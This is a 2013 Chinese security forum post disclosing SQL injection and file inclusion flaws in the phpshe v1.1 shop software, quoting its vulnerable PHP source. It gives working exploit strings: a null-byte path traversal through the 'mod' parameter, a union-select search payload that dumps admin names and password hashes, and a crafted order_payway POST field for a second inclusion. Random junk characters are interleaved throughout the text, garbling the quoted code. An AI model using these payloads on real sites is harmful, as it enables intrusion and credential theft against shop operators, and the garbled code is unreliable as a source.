找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2273|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/" V1 t2 K7 y. p2 K
/* Phpshe v1.1 Vulnerability
( }0 [% o- `- |/ S6 F% H1 g8 D/* ========================
0 A; Z  L* v' K6 W/ B. g/* By: : Kn1f3
8 E2 ?, R" [8 v" H  q$ W/* E-Mail : 681796@qq.com5 D; A; ^7 i  v9 E+ {
/*******************************************************/4 |) O' e4 c2 |, [6 |2 o* d( C- U& A8 q
0×00 整体大概参数传输" \! t& h5 y# [2 c; V: f$ q, O

$ R8 z$ j: l, T: X3 Y( K: A! z6 {7 E  @% A1 b/ ^6 F
+ `. Y2 Z- ]. }& v  T9 R
//common.php! A3 t$ I0 Z$ S% F) U
if (get_magic_quotes_gpc()) {
: E, K; P7 P) z9 F6 g; I!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
2 k' B! f5 D3 _!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
1 Z8 ?' F( N7 c" ]7 a7 K4 z}
" [- N0 g8 t( C, _% _2 J0 x' Delse {+ F6 M8 |0 F% {# I
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');5 u2 j( S! }$ F6 n; s8 }
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
. Q4 i* M! n) m}
1 Q' N. g4 M, Lsession_start();
4 ^( W* C# |% a4 e; V) {* i!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');9 }4 J& x1 j; V  _/ `
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');9 p5 C' c  Y2 f8 \% m, D
' b" f7 N! d- D1 L( t* O
0×01 包含漏洞" t1 R6 x6 z: I. Q
7 P/ b& N5 D9 Y0 g) ~$ n8 S

0 S: k; C; ^) V9 O2 x# |, r# @//首页文件
! Z7 B3 b" s  ^1 Z; k: h<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
1 L/ v5 C, u$ X/ z; c5 E* H7 Minclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞! y* J$ s% [( L/ T
pe_result();
/ ~0 U- ~7 D1 B0 m' l4 b- \$ u?>5 m9 x/ F, |7 q7 C
//common 文件 第15行开始' o5 i6 R1 r5 O, i. w
url路由配置
3 ]/ r7 w/ E0 ~$module = $mod = $act = 'index';9 ^5 @+ Q# G7 y
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
: y2 p' t; K9 ^* l, `' E5 h4 ~$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);; p( x# X* w# \' z
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
* {" u2 I( P" `" [; L$ }% }//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
5 e: _" q0 u5 P


4 P* S* ], K. V( Y7 \7 A
, Q6 t3 D1 ^6 D: G  h* M 0×02 搜索注入
4 V6 ?) C; V: r+ h- ]6 S$ m7 D $ k! [$ ]! X( i8 M- n& b6 R) ~$ }
<code id="code2">

//product.php文件: }! C( _% M! U2 @
case 'list':: ]0 b) s8 V* R1 Q
$category_id = intval($id);  d- m* u' [( O3 }) g
$info = $db->pe_select('category', array('category_id'=>$category_id));' Q4 z( V4 ]8 ?- O; I* I
//搜索. ?, W: E3 o3 o; D7 n/ q" J
$sqlwhere = " and `product_state` = 1";, ~8 n2 z% F/ ~  ?
pe_lead('hook/category.hook.php');
7 r' |* s9 J+ ?* K" @- S5 t4 pif ($category_id) {5 B3 C  i3 o6 W* f/ ^9 @
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
0 N, t  D2 C, w' |}
. J5 U! G+ \+ y+ E5 }& Z% O$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
7 R) g- P6 |2 h1 O( zif ($_g_orderby) {
5 c! O6 B+ D. Y# `& i$orderby = explode('_', $_g_orderby);  J+ P2 n6 q2 @! M
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";+ v! K# ^$ `! T% D
}
4 J* E" t: _0 M" K. H( qelse {
+ f& x" a! G: e. F2 L. r9 f9 n$sqlwhere .= " order by `product_id` desc";: j' n2 l. |  B+ e! B3 I3 N! `& j
}0 D, v" X/ y6 w: G! j9 h
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
7 @( x+ B, I* a5 \0 c% J- y  K# L9 _//热卖排行
+ L3 ~$ U( Y/ D/ Q$product_hotlist = product_hotlist();
( t5 f" O+ X! v, V//当前路径! d% r# q' v& O' t# x
$nowpath = category_path($category_id);/ e" k% `* k2 ]8 H* w  [8 k
$seo = pe_seo($info['category_name']);2 k+ I5 D  l: ^% O
include(pe_tpl('product_list.html'));
$ O3 U6 h1 D$ L' T0 f# {# X//跟进selectall函数库1 _) b) ]7 j/ i0 r
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
, }. X, G9 e9 j4 T5 j! `{1 V4 Q+ C1 i2 E+ G; c! x" ^- V0 B
//处理条件语句) i& H! }2 S$ x8 J# k- z
$sqlwhere = $this->_dowhere($where);. J+ s9 K9 E( W7 ^
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);; x& ^# O$ m& [
}
( [5 e+ Z' ?& Z+ j! ?) K//exp3 e2 X) a7 s% Y) o
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1) h2 Z) |8 q# Y7 g1 ?0 Y. w

</code>) s$ H. b: B8 x$ y$ W$ H
' j/ o3 A, |- J0 P+ [. o# H3 F
0×03 包含漏洞2
; p+ ?% r; W0 t8 p% }' N) M+ w
- i- x8 N3 ~* i# Y, p2 F& @<code id="code3">

//order.php

case 'pay':

$ E6 X4 l, y3 X; f' H" b
$order_id = pe_dbhold($_g_id);

# P- C! D5 J: n% G& o( v0 O
$cache_payway = cache::get('payway');


2 z6 H# B. k8 r- p% Cforeach($cache_payway as $k => $v) {

/ V# e: _, X/ r2 I7 P) b% q: t& \
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

3 ]$ i% A. u% O' ]" k
if ($k == 'bank') {


- c1 K, K* t- D$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

9 c0 G4 \! w" q# N+ r% f
}

" o2 w" Q2 I$ v- v$ ?
}


6 o/ Z7 {, I; v  n. ]1 S$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

1 \$ N4 s( z4 T: J. _, d
!$order['order_id'] && pe_error('订单号错误...');

! H, ]+ I: C9 B7 D5 M% ]0 h* f
if (isset($_p_pesubmit)) {

* m6 r" C9 T+ ?1 }7 J5 Y, B+ O
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


2 ]' q+ _7 A5 y- H# n- s$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


+ ~  p& Z8 Q( [6 bforeach ($info_list as $v) {

7 x+ _3 ?, D* k2 t) l: p/ z0 ^
$order['order_name'] .= "{$v['product_name']};";0 ~3 B/ L- J! n6 Z0 e


, A/ J" C* w- i0 I. |. N}


  K& L9 g9 a( L. a3 fecho '正在为您连接支付网站,请稍后...';

- P  |8 t8 u5 y- D) U; }
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


+ O' j" _' h8 j7 P: }}//当一切准备好的时候就可以进行"鸡肋包含了"


% L% G# C& h$ j) a- belse {

# w+ N: t( K6 c; ^! }: N+ W4 |
pe_error('支付错误...');

$ u5 v5 `; H- x2 b! P( O
}


/ ?: T8 J: u; [3 B) M}

+ B0 Y1 E& h* F9 S- d
$seo = pe_seo('选择支付方式');


, \3 \6 K& H* |include(pe_tpl('order_pay.html'));


. L" J" I! L/ L3 Sbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
) r; k6 E+ p; i& ]& F# H" khttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表